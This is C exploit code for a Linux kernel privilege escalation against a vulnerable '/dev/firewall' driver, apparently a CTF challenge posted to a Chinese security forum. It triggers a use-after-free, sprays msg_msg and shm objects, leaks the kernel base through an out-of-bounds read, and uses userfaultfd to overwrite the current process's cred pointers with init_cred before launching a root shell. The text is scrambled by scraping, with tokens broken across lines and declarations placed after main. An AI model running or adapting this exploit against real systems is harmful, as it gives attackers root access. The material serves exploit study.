memcpy(r.name,name,
16
);
ret
=
ioctl(fd,EDIT_RULE,&r);
if
(ret !
=
SUCCESS){
printf(
"[-] firewall_edit_rule FAILED, ret_val is : %d\n"
,ret);
}
else
{
printf(
"[+] firewall_edit_rule SUCCESS\n"
);
}
}
void evil_edit(uint8_t idx, char
*
buffer
,
int
type
,
int
invalidate)
{
int
ret;
user_rule_t rule;
memset((void
*
)&rule,
0
, sizeof(user_rule_t));
generate(
buffer
, (user_rule_t
*
)&rule);
rule.idx
=
idx;
rule.
type
=
type
;
if
(invalidate)
{
strcpy((void
*
)&rule.ip,
"invalid"
);
strcpy((void
*
)&rule.netmask,
"invalid"
);
}
ret
=
ioctl(fd, EDIT_RULE, (unsigned
long
)&rule);
if
(ret !
=
SUCCESS){
printf(
"[-] evil_edit FAILED, ret_val is : %d\n"
,ret);
}
else
{
printf(
"[+] evil_edit SUCCESS\n"
);
}
}
uint64_t create_message_queue(key_t key,
int
msgflag){
/
*
A Wrapper to msgget
*
/
uint64_t ret;
if
((ret
=
msgget(key, msgflag))
=
=
-
1
)
{
perror(
"msgget failure"
);
exit(
-
1
);
}
printf(
"[+] Create queue SUCCESS\n"
);
return
ret;
}
void send_message(
int
msqid, void
*
msgp, size_t msgsz,
int
msgflg){
/
*
A Wrapper to msgsnd
*
/
if
(msgsnd(msqid, msgp, msgsz, msgflg)
=
=
-
1
)
{
perror(
"msgsend failure"
);
return
;
}
printf(
"[+] msgsnd() SUCCESS\n"
);
return
;
}
void read_from_message_queue(
int
msqid, void
*
msgp, size_t msgsz,
long
msgtyp,
int
msgflg){
if
(msgrcv(msqid, msgp, msgsz, msgtyp, msgflg) <
0
)
{
perror(
"msgrcv"
);
exit(
-
1
);
}
return
;
}
void heap_spray_shmem(){
int
shmid;
char
*
shmaddr;
for
(
int
i
=
0
; i <
0x500
; i
+
+
)
{
if
((shmid
=
shmget(IPC_PRIVATE,
100
,
0600
))
=
=
-
1
)
{
perror(
"shmget error"
);
exit(
-
1
);
}
shmaddr
=
shmat(shmid, NULL,
0
);
if
(shmaddr
=
=
(void
*
)
-
1
)
{
perror(
"shmat error"
);
exit(
-
1
);
}
}
printf(
"[+] Spray shmem SUCCESS\n"
);
}
/
*
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
register userfault
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
*
/
static void register_userfault(void
*
handler){
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd
=
syscall(__NR_userfaultfd, O_CLOEXEC |O_NONBLOCK);
CHECK(uffd);
ua.api
=
UFFD_API;
ua.features
=
0
;
CHECK(ioctl(uffd, UFFDIO_API, &ua));
/
/
mmap [FAULT_PAGE,FAULT_PAGE
+
0x1000
] 后此时未初始化,访问会触发缺页
if
(mmap((void
*
)FAULT_PAGE,PAGE_SIZE, PROT_READ|PROT_WRITE,MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
-
1
,
0
)!
=
(void
*
)FAULT_PAGE){
perror(
"register_userfault() mmap"
);
exit(EXIT_FAILURE);
}
printf(
"[+] mmap(%#lx,%#lx)\n"
,FAULT_PAGE,PAGE_SIZE);
ur.
range
.start
=
(uint64_t)FAULT_PAGE;
/
/
要监视的区域
ur.
range
.
len
=
PAGE_SIZE;
/
/
长度
ur.mode
=
UFFDIO_REGISTER_MODE_MISSING;
CHECK(ioctl(uffd, UFFDIO_REGISTER, &ur));
/
/
/
/
注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作 , 这个ur对应一个uffd
printf(
"[*] register_userfault() %#lx success\n\n"
,FAULT_PAGE);
/
/
开一个线程,接收错误的信号,然后处理,如果这里被注释掉,则触发userfault的线程会一直卡死
/
/
本题在handler中完成arw
pthread_t s
=
pthread_create(&thr, NULL,handler, (void
*
)uffd);
/
/
uffd作为参数传过去
if
(s!
=
0
)
printf(
"[-] handler pthread_create failed"
);
}
/
*
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
register userfault
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
*
/
/
/
用于恢复userfault的handler函数,可以根据具体需求修改
/
*
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
userfault handler
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
*
/
void
*
handler(void
*
arg){
struct uffd_msg uf_msg;
unsigned
long
uffd
=
(unsigned
long
)arg;
struct uffdio_copy uf_copy;
struct uffdio_range uf_range;
puts(
"[+] arw handler created"
);
puts(
"[+] restore stuck begin"
);
struct pollfd pollfd;
int
nready;
pollfd.fd
=
uffd;
pollfd.events
=
POLLIN;
uf_range.start
=
FAULT_PAGE;
uf_range.
len
=
PAGE_SIZE;
/
/
监听事件,poll会阻塞,直到收到缺页错误的消息
while
(poll(&pollfd,
1
,
-
1
) >
0
){
if
(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
{
perror(
"polling error"
);
exit(
-
1
);
}
/
/
读取事件
nready
=
read(uffd, &uf_msg, sizeof(uf_msg));
if
(nready <
=
0
) {
puts(
"[-]uf_msg error!!"
);
}
/
/
判断消息的事件类型
if
(uf_msg.event !
=
UFFD_EVENT_PAGEFAULT)
{
perror(
"unexpected result from event"
);
exit(
-
1
);
}
/
/
初始化
buffer
,大小为pagesize,并且设置对应位置的指针,准备用来改cred
*
恢复userfault的区域
char uf_buffer[
0x1000
];
memset(uf_buffer,
0
, sizeof(uf_buffer));
memcpy((void
*
)(uf_buffer
+
0x1000
-
0x30
), (void
*
)&init_cred,
8
);
memcpy((void
*
)(uf_buffer
+
0x1000
-
0x30
+
8
), (void
*
)&init_cred,
8
);
/
/
设置struct uffdio_copy 恢复userfault
uf_copy.src
=
(unsigned
long
)uf_buffer;
uf_copy.dst
=
FAULT_PAGE;
uf_copy.
len
=
0x1000
;
uf_copy.mode
=
0
;
uf_copy.copy
=
0
;
char
buffer
[
0x2000
]
=
{
0
};
struct msg_msg evil;
memset(&evil,
0
,sizeof(struct msg_msg));
evil.m_list.
next
=
(void
*
)
0xdeadbeef
;
evil.m_list.prev
=
(void
*
)
0xdeadbeef
;
evil.m_type
=
1
;
evil.m_ts
=
0x1008
-
0x30
;
evil.
next
=
(void
*
)attack_addr;
/
/
设置msg_msg.
next
指向要attack的task_struct,也即是当前进程的task_struct
memcpy(
buffer
,&evil,sizeof(struct msg_msg ));
evil_edit(
1
,
buffer
,OUTBOUND,
0
);
/
/
UAF writea,劫持msg_msg结构
if
(ioctl(uffd, UFFDIO_COPY, (unsigned
long
)&uf_copy)
=
=
-
1
)
/
/
wake it up
{
perror(
"uffdio_copy error"
);
exit(
-
1
);
}
/
/
debug();
if
(ioctl(uffd, UFFDIO_UNREGISTER, (unsigned
long
)&uf_range)
=
=
-
1
)
{
perror(
"error unregistering page for userfaultfd"
);
}
if
(munmap((void
*
)FAULT_PAGE,
0x1000
)
=
=
-
1
)
{
perror(
"error on munmapping race page"
);
}
return
0
;
}
/
/
监听事件,poll会阻塞,直到收到缺页错误的消息
/
/
nready
=
poll(&pollfd,
1
,
-
1
);
/
/
if
(nready !
=
1
)
/
/
puts(
"[-] Wrong pool return value"
);
/
/
nready
=
read(uffd, &msg, sizeof(msg));
/
/
if
(nready <
=
0
) {
/
/
puts(
"[-]msg error!!"
);
/
/
}
/
/
printf(
"[+] read page fault msg\n"
);
/
/
char
*
page
=
(char
*
)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,
-
1
,
0
);
/
/
if
(page
=
=
MAP_FAILED)
/
/
puts(
"[-]mmap page error!!"
);
/
/
struct uffdio_copy uc;
/
/
/
/
初始化page页
/
/
memset(page,
0
, sizeof(page));
/
/
uc.src
=
(unsigned
long
)page;
/
/
/
/
出现缺页的位置
/
/
uc.dst
=
(unsigned
long
)msg.arg.pagefault.address & ~(PAGE_SIZE
-
1
);;
/
/
uc.
len
=
PAGE_SIZE;
/
/
uc.mode
=
0
;
/
/
uc.copy
=
0
;
/
/
ioctl(uffd, UFFDIO_COPY, &uc);
/
/
puts(
"[+] handler done!!"
);
/
/
return
NULL;
return
0
;
}
/
*
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
userfault handler
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
*
/
int
main(){
msg
*
message
=
(msg
*
)msg_buffer;
uint64_t size;
uint64_t qid;
fd
=
open
(
"/dev/firewall"
,O_RDWR);
CHECK(fd);
printf(
"[+] Open SUCCESS\n"
);
printf(
"[+] sizeof msg_msg: %#lx\n"
,sizeof(struct msg_msg));
/
/
Create
firewall_add_rule(
0
,INBOUND);
/
/
copy to OUTBOUND
list
firewall_dup_rule(
0
,INBOUND);
/
/
Create msg queue
qid
=
create_message_queue(IPC_PRIVATE,
0666
| IPC_CREAT);
printf(
"[+] qid: %ld\n"
,qid);
/
/
Trigger UAF(kmalloc
-
4k
)
firewall_delete_rule(
0
,INBOUND);
/
/
此时size落在kmalloc
-
4k
,触发之后从kmalloc
-
4k
中重新取出对应的结构,此时变成了 struct msg_msg,并且紧接着的是mtext
size
=
0x1010
;
message
-
>mtype
=
1
;
memset(message
-
>mtext,
0x61
,size);
send_message(qid,message,size
-
0x30
,
0
);
/
/
msgsz
=
full_size
-
sizeof(struct msg_msg)
/
/
Spray shm_file_data(kmalloc
-
32
) by shmat
/
/
Bypass fg
-
kaslr :)
heap_spray_shmem();
/
/
Prepare
for
OOB read.
/
/
Ceate an evil msg_msg,
in
order to hijack msg_msg ctl structure
in
Kernel.
struct msg_msg evil;
size
=
0x1500
;
memset(&evil,
0
,sizeof(struct msg_msg));
evil.m_list.
next
=
(void
*
)
0x4141414141414141
;
evil.m_list.prev
=
(void
*
)
0x4242424242424242
;
evil.m_type
=
1
;
evil.m_ts
=
size;
memset(msg_buffer,
0
, sizeof(msg_buffer));
memcpy(msg_buffer, (void
*
)&evil,
0x20
);
/
/
Copy first
0x20
bytes ctl structure, modify the struct msg_msg ctl structure
evil_edit(
0
, msg_buffer, OUTBOUND,
1
);
/
/
UAF edit, firewall_edit_rule() failed , but before it exits, we successfully edit first
0x20
bytes
/
/
After evil_edit(), we successfully change the m_ts to
0x1500
!
memset(recieved,
0
, sizeof(recieved));
/
/
Because we hijack the m_ts to a huge value, OOB read happended here.
read_from_message_queue(qid, recieved, size,
0
, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
/
/
Read
from
msg queue
/
/
printf(
"recieved: %p\n"
,recieved);
for
(
int
i
=
0
; i < size
/
8
; i
+
+
)
{
if
((
*
(uint64_t
*
)(recieved
+
i
*
8
) &
0xfff
)
=
=
0x7a0
)
{
init_ipc_ns
=
*
(uint64_t
*
)(recieved
+
i
*
8
);
/
/
ffffffff81c3d7a0 D init_ipc_ns
printf(
"[+] hit addr: %#lx\n"
,(uint64_t)(recieved
+
i
*
8
));
break
;
}
if
(i
=
=
((size
/
8
)
-
1
) ){
puts(
"[-] Dump \"init_ipc_ns\" from msg Queue FAILED"
);
exit(
0
);
}
}
kernel_base
=
init_ipc_ns
-
(
0xffffffff81c3d7a0
-
0xffffffff81000000
);
init_task
=
kernel_base
+
(
0xffffffff81c124c0
-
0xffffffff81000000
);
init_cred
=
kernel_base
+
(
0xffffffff81c33060
-
0xffffffff81000000
);
printf(
"[*] kernel_base: %#lx\n"
,kernel_base);
printf(
"[*] init_task: %#lx\n"
,init_task);
printf(
"[*] init_cred: %#lx\n"
,init_cred);
/
/
再触发一次edit,此时改msg_msg的
next
指针指向init_task
+
0x290
/
/
目的是在通过多次msgrcv来扫描链表,此时链表
next
指针(struct msg_msgseg
*
next
) 被劫持指向了init_task
/
/
那么实际上我们就是在扫描系统的task链表,直到找到当前进程对应的task_struct
memset((void
*
)&evil,
0
, sizeof(struct msg_msg));
memset(recieved,
0
, sizeof(recieved));
memset(msg_buffer,
0
, sizeof(msg_buffer));
evil.m_type
=
1
;
evil.m_ts
=
size;
evil.
next
=
(void
*
)init_task
+
0x298
-
0x8
;
/
/
-
0x8
是因为要保证每一次的struct msg_msgseg只利用一次,所以让他的
next
指针域为NULL,这
0x8
是留给
next
的
memcpy(msg_buffer, (void
*
)&evil, sizeof(struct msg_msg));
evil_edit(
0
, msg_buffer, OUTBOUND,
0
);
printf(
"[+] recieved: %p\n"
,recieved);
read_from_message_queue(qid, recieved, size,
0
, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
/
/
读一次
int32_t pid;
uint64_t prev, curr;
memcpy((void
*
)&prev, (void
*
)(recieved
+
0xfe0
),
8
);
memcpy((void
*
)&pid, (void
*
)(recieved
+
0x10d8
),
4
);
printf(
"%d %d\n"
, pid, getpid());
/
/
在
while
中多次调用msgrcv顺着init_task扫描链表,直到找到当前进程对应的task_struct
while
(pid !
=
getpid())
{
curr
=
prev
-
0x298
;
evil.
next
=
(void
*
)prev
-
0x8
;
/
/
更新
next
指针为task链表上的下一个元素
memcpy(msg_buffer, (void
*
)&evil, sizeof(struct msg_msg));
evil_edit(
0
, msg_buffer, OUTBOUND,
0
);
read_from_message_queue(qid, recieved, size,
0
, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
memcpy((void
*
)&prev, (void
*
)(recieved
+
0xfe0
),
8
);
memcpy((void
*
)&pid, (void
*
)(recieved
+
0x10d8
),
4
);
printf(
"%d %d\n"
, pid, getpid());
}
printf(
"[+] Found current task_struct: %#lx\n"
,curr);
/
/
UAF kmalloc
-
4k
firewall_add_rule(
1
,INBOUND);
firewall_dup_rule(
1
,INBOUND);
firewall_delete_rule(
1
,INBOUND);
memset(msg_buffer,
0
, sizeof(msg_buffer));
/
*
typedef struct
{
long
mtype;
char mtext[
1
];
}msg;
*
/
msg
*
root;
uint64_t root_size
=
0x1010
;
void
*
evil_page
=
mmap((void
*
)FAULT_PAGE
-
PAGE_SIZE, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
0
,
0
);
/
/
前
8bytes
要放mtype,必须是mmap之后的合法内存
/
/
后面的char mtext[]将会落在register_userfault中mmap的未初始化的内存区域[FAULT_PAGE,FAULT_PAGE
+
PAGE_SIZE]
root
=
(msg
*
)(FAULT_PAGE
-
0x8
);
root
-
>mtype
=
1
;
/
/
要劫持的地方是task_struct偏移为
0x538
和
0x540
的 cred
*
real_cred 和 cred
*
cred 指针
/
/
在handler中完成任意写
register_userfault(handler);
attack_addr
=
curr
+
0x538
-
0x8
;
printf(
"[+] attack_addr: %#lx\n"
,attack_addr);
sleep(
1
);
send_message(qid,root,root_size
-
0x30
,
0
);
pthread_join(thr, NULL);
/
/
等待用于arw的handler返回
if
(getuid()
=
=
0
){
system(
"echo \"Welcome to root sapce!\""
);
system(
"/bin/sh"
);
}
else
{
puts(
"[-] root failed"
);
}
}
/
*
check
if
expr
=
=
-
1
*
/
if
((expr)
=
=
-
1
){ \
do{ \
perror(
exit(EXIT_FAILURE); \
}
while
(
0
); \
}
/
*
check
if
expr
=
=
-
1
*
/
typedef struct
{
char iface[
16
];
char name[
16
];
char ip[
16
];
char netmask[
16
];
uint8_t idx;
uint8_t
type
;
uint16_t proto;
uint16_t port;
uint8_t action;
char desc[DESC_MAX];
} user_rule_t;
typedef struct
{
long
mtype;
char mtext[
1
];
}msg;
struct list_head {
struct list_head
*
next
,
*
prev;
};
/
*
one msg_msg structure
for
each message
*
/
struct msg_msg {
struct list_head m_list;
long
m_type;
size_t m_ts;
/
*
message text size
*
/
void
*
next
;
/
*
struct msg_msgseg
*
next
;
*
/
void
*
security;
/
/
无SELinux,这里为NULL
/
*
the actual message follows immediately
*
/
};
int
fd;
char buf[DESC_MAX];
char msg_buffer[
0x2000
]
=
{
0
};
char recieved[
0x2000
];
uint64_t init_ipc_ns
=
0
;
uint64_t kernel_base
=
0
;
uint64_t init_task
=
0
;
uint64_t init_cred
=
0
;
pthread_t thr;
uint64_t attack_addr ;
void
*
arb_write(void
*
arg);
void debug(){
puts(
"debug()"
);
getchar();
}
void gen_dot_notation(char
*
buf, uint32_t val)
{
sprintf(buf,
"%d.%d.%d.%d"
, val &
0x000000FF
, (val &
0x0000FF00
) >>
8
, (val &
0x00FF0000
) >>
16
, (val &
0xFF000000
) >>
24
);
return
;
}
void generate(char
*
input
, user_rule_t
*
req)
{
char addr[
0x10
];
uint32_t ip
=
*
(uint32_t
*
)&
input
[
0x20
];
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2022-7-9 11:32
被Roland_编辑
,原因: